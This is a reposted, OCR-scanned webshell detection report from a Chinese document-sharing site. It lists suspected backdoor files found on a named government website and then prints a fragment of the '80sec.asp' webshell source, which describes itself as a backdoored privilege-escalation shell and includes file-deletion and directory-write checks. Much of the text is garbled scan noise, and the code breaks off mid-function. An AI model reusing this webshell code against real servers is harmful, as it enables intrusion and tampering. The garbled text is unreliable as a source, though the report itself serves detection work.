木马(WEBSHELL)检测报告

《木马(WEBSHELL)检测报告》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、木马(WEBSHELL)检测报告以下截图是：木马(WEBSHELL)的位置、木马(WEBSHELL)和疑似木马(WEBSHELL)的说明.文件的大小、修改时间、验证值l*C24tri»•3U»sniWl.tisW»ini»rlC■血•"»♦w»tt«•«4r«nI.A^kM>・4八,ni<>B•«*V*«cuam»mt&»•<•<*ttr<1*>fl2y・d>C«KMM^・*2«»oQ・<^・・«4«J«M*Ia*-A4«^rjl!才SB.XSW*笑asmMBUMH杠・-.0初

2、比山・・—•im.•^«r*ur)iK^>4«t«Zl«««Ml>JB«W1T«IB*I*sw(Vftt«*r»4«-)ntll±A坟佯cgCs—•■十・,t«>rtii«-.->

3、t・IM»ag•■宣T](1WWMW―g•■久c&j(>21t222*224Csimn90MC3HE-2Tam-c&-nWlf-0^-21mio-oonS1XA-193XM&-Z3aOX»-23il23VI)4112l・51005i««9l1001ItMCCXJ1F1User-Agent利用2大型脚本2大型脚本2大型脚本5多功能大马1关键字:phpinfo()1服务器状况检测1服务

4、器状况检测1User-Agent利用szb.dl.gov.cn'inc.aspszb.dl.gov.cn#d.b$#zf11.%v1.asaszb.dl.gov.cn#d.b$#zf11,%v1_fixed.asaszb.dl.gov.cn#d.b$复件#zf11.%v1.asaszb.dl.gov.cncert80sec.aspszb.dl.gov.cncerttest.phpszb.dl.gov.cn'CommonAdministratorAdmin_check.aspszb.dl.gov.cnCommonAdministrator

5、zf11_check.aspszb.dl.gov.cnlncludeConn_Head.asp4(内藏)Execute｛参数:request(..szb.dl.gov.cnotherzf11_Md5.asp5Encode加密

6、exec执行

7、列目录

8、?・szb.dl.gov.cnVotezzxx.asp1服务器状况检测szb.dl.gov.cnimagesCommonAdministratorAdmin_check.asp1Adodb.Stream生成后门:[]szb.dl.gov.cnimagesCommonAdministrator

9、createjs.asp1服务器状况检测szb.dl.gov.cnimagesCommonAdministratorzf11_check.asp1Adodb.Stream生成后门:[]szb.dl.gov.cnimagesCommonAdministratorgg1createjs.asp80SEC.ASP木马(WEBSHELL)源代码：'内部测试版-mmname「虛拟主机提权专用Webshell±后门版.'shell标題mmshell」虑叔丰机根权召用Webshell80sec岀品八shell版权errout「傻诵与狗勿瘠解本人密码八竜岀错谋提

10、不serversoft-Request・ServerVariab1es(*server.softrare*)•response,write**^vbCrLf****vbCrLf*MMResponse・Buffer・TrueServer.ScriptTimeOut-999999999CONST.FSO-*Scripl"ing.FilHSysI*&*emObjecI"'把路径加入functionGetFullPuth(puth)GrtFullPnth-pathifRight(path,1)<>thenGetFullPath=path***r如果字符協后不是的就

11、加上endfunction'删除文件FunctionDe1textfi1e(fi1epath)OnErrorResumeNextSetobjFSO=CreateObject(CONSTFSO)ifobjFSO.FilcExists(filepath)then'检査文件是否存在objFSO.DeleteFile(filepath)endifSetobjFSO=nothingDeltextfile-Err.Number'返回错误码EndFunction'檢测日录定否可歸0为可读耳1为可写不可以删除FunctionCheckDirlsOKWrite(DirStr)O

12、nErrorResumeNextSet